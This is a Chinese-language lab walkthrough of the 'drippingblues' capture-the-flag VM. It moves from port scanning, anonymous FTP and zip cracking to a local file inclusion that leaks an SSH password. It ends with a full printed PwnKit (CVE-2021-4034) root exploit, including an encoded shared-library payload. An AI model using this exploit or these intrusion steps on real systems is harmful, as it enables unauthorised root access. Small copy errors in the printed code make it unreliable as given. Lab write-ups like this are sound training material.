

drippingblues

主机发现

靶机: 172.16.170.13

主机: 172.16.170.63

信息收集

端口扫描

```
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to ::ffff:172.16.170.63
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 3
|   vsFTPD 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-rwx   1 0          0              471 Sep 19  2021
respectmydrip.zip [NSE: writeable]
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
(Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 9ebba6f7da79d65a1b1a1be91cd0428 (RSA)
|   256 a3d3c0b4c5f9c06ce54764fe91c5cdc0 (ECDSA)
|_  256 4c84da5aff04b9b55c5abe21b60e4573 (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html;
charset=UTF-8).
| http-robots.txt: 2 disallowed entries
|_/dripisreal.txt /etc/dripispowerful.html
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 00:0C:29:C7:EB:72 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4
cpe:/o:linux:linux_kernel:5
```

```
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE:
cpe:/o:linux:linux_kernel
```

80端口枚举出/robots.txt文件尝试访问

web收集

```
driftingblues is hacked again so it's now called drippingblues. :D hahaha
by
travisscott & thugger
```

首页内容：关注名称travisscott & thugger

```
hello dear hacker wannabe,
go for this lyrics:
https://www.azlyrics.com/lyrics/youngthug/constantlyhating.html
count the n words and put them side by side then md5sum it
ie, hellohellohellohello >> md5sum hellohellohellohello
it's the password of ssh
```

打不开网页。

得到信息

robots文件中的/etc/dripispowerful.html无法打开，但是路径存在。

FTP

空密码登录ftp成功

```
文件 动作 编辑 查看 帮助
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||58467|)
150 Here comes the directory listing.
-rwxrwxrwx  1 0      0          471 Sep 19  2021 respectmydrip.zip
226 Directory send OK.
ftp> get respectmydrip.zip /home/kali/Desktop/bachang/
local: /home/kali/Desktop/bachang/ remote: respectmydrip.zip
229 Entering Extended Passive Mode (|||59293|)
150 Opening BINARY mode data connection for respectmydrip.zip (471 bytes).
ftp: Can't open '/home/kali/Desktop/bachang/': 是一个目录
226 Transfer complete.
225 No transfer to ABOR.
ftp> get respectmydrip.zip /home/kali/Desktop/bachang/
1.html      4.c      caogao     exp      pass
1.txt       45010.c   dir.txt    exp.pl   reset_root
ftp> get respectmydrip.zip /home/kali/Desktop/bachang/ftp.zip
local: /home/kali/Desktop/bachang/ftp.zip remote: respectmydrip.zip
229 Entering Extended Passive Mode (|||13408|)
150 Opening BINARY mode data connection for respectmydrip.zip (471 bytes).
100% [*****] 471 14.97 MiB/s 00:00 ETA
226 Transfer complete.
```

解压文件，提示密码错误，使用zip2john提取哈希，在使用john破解

```
john --wordlist=/usr/share/wordlists/rockyou.txt  
ftp_md5.txt
```

```
$ john --wordlist=/usr/share/wordlists/rockyou.txt ftp_md5.txt  
Using default input encoding: UTF-8  
Loaded 1 password hash (PKZIP [32/64])  
Will run 6 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
072528035 (ftp.zip/respectmydrip.txt)  
1g 0:00:00:00 DONE (2023-03-09 21:01) 1.333g/s 18563Kp/s 18563Kc/s 18563Kc/s 0
```

```
replace secret.zip? [y]es, [n]o, [A]ll, [N]one, [r]ename: y  
inflating: secret.zip  
  
(kali㉿kali)-[~/Desktop/bachang]  
$ ls  
1.html 45010.c caogao exp ftp_md5.txt pass respectmydrip.  
1.txt 4.c dir.txt exp.pl ftp.zip reset_root secret.zip  
  
(kali㉿kali)-[~/Desktop/bachang]  
$ cat respectmydrip.txt  
just focus on "drip"  
  
(kali㉿kali)-[~/Desktop/bachang]  
$
```

得到内容drip

漏洞利用

在index.php页面下存在本地文件包含漏洞?drip=/etc/dripispowerful.html

password is:imdrippinbiatch

```
23  
24 .emoji {  
25   width: 32px;  
26 }  
27 </style>  
28 password is:  
29 imdrippinbiatch  
30 </body>  
31 </html>  
32
```

上面提到存在两个用户travisscott 和 thugger

尝试ssh登录

用户thugger登录成功

```
(kali㉿kali)-[~]
└─$ ssh thugger@172.16.170.13
The authenticity of host '172.16.170.13 (172.16.170.13)' can't be established.
ED25519 key fingerprint is SHA256:eVoGERVw0LG6hbnY1KztaN+fD1oHC/zhGfuexoATqME.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.16.170.13' (ED25519) to the list of known hosts.
thugger@172.16.170.13's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.11.0-34-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

495 updates can be installed immediately.
233 of these updates are security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Your Hardware Enablement Stack (HWE) is supported until April 2025.
thugger@drippingblues:~$
```

提权

查看进程发现了

```
thugger@drippingblues:~$ ps -ef |grep pol
thugger@drippingblues:/var/www/html$ ps -ef |grep pol
root      78      2  0 04:30 ?        00:00:00 [edac-poller]
root     753      1  0 04:30 ?        00:00:00 /usr/lib/policykit-1/polkitd --no-debug
root     900      1  0 04:30 ?        00:00:00 /usr/sbin/ModemManager --filter-policy=strict
thugger  3316    3176  0 06:19 pts/0    00:00:00 grep pol
thugger@drippingblues:/var/www/html$
```

polkit 是一个应用程序级别的工具集，通过定义和审核权限规则，实现不同优先级进程间的通讯：控制决策集中在统一的框架之中，决定低优先级进程是否有权访问高优先级进程。

Polkit 在系统层级进行权限控制，提供了一个低优先级进程和高优先级进程进行通讯的系统。和sudo 等程序不同，Polkit 并没有赋予进程完全的 root 权限，而是通过一个集中的策略系统进行更精细的授权。

Polkit 定义出一系列操作，例如运行 GParted, 并将用户按照群组或用户名进行划分，例如wheel 群组用户。然后定义每个操作是否可以由某些用户执行，执行操作前是否需要一些额外的确认，例如通过输入密码确认用户是不是属于某个群组。

查看有无漏洞

发现

Exploit Title	Path
Linux Kernel 4.15.x < 4.19.2 - 'map_write()' CAP_SYS_ADMIN' Local Privilege Escala	linux/local/47167.sh
Linux Polkit - pkexec helper PTRACE_TRACEME local root (Metasploit)	linux/local/47543.rb
PolicyKit polkit-1 < 0.101 - Local Privilege Escalation	linux/local/17932.c
polkit - Temporary auth Hijacking via PID Reuse and Non-atomic Fork	linux/dos/46105.c
Polkit 0.105-26 0.117-2 - Local Privilege Escalation	linux/local/50011.sh
systemd - Lack of Seat Verification in PAM Module Permits Spoofing Active Session	linux/dos/46743.txt

但是对应的靶机上没有GCC

Almorabea/Polkit漏洞利用：使用 polkit 进行权限提升 - CVE-2021-3560 (github.com)

发现py版本，在靶机/home目录下载，执行

这个不行

CVE-2021-4034/cve2021-4034.py at master · nikaiw/CVE-2021-4034 (github.com)

这个最新的漏洞可以

```
#!/usr/bin/env python3

# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
# hardcoded amd64 lib
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile

payload = zlib.decompress(
    base64.b64decode(
```

""eJztw21sFEUYnr32ymG/TgPhpAQuBhJA2V6Bkh8p1FZgUTAFW00iUL3
2tteL9+XuXmmRQA1igkhsFRI1JmJioPEXJPrDH2pJm8bEP5KYqD9MqoS Kj
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
9D/NUV7fwNC41U+""

)

)

```
libc = CDLL(find_library("c"))  
libc.exeve.argtypes = c_char_p, POINTER(c_char_p),  
POINTER(c_char_p)  
libc.exeve.restype = c_ssize_t
```

```
wd = tempfile.mkdtemp()  
open(wd + "/pwn.so", "wb").write(payload)  
os.mkdir(wd + "/gconv/")
```

```

open(wd + "/gconv/gconv-modules", "w").write(
    "module UTF-8// INTERNAL ../pwn 2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
    b"gconv",
    b"PATH=GCONV_PATH=.",
    b"LC_MESSAGES=en_US.UTF-8",
    b"XAUTHORITY=../gconv",
    b"",
]

cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)

```

```

Ask your administrator to install one of them.

thugger@drippingblues:~$ vi
thugger@drippingblues:~$ vi exp.py
thugger@drippingblues:~$ ls
CVE-2021-3560.py Desktop Documents Downloads exp.py Music Pictures Public Templates user.txt Videos
thugger@drippingblues:~$ chmod 777 exp.py
thugger@drippingblues:~$ python3 exp.py
# id
uid=0(root) gid=0(root) groups=0(root),1001(thugger)
# whoami
root
# apt install gcc
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:

```

成功提权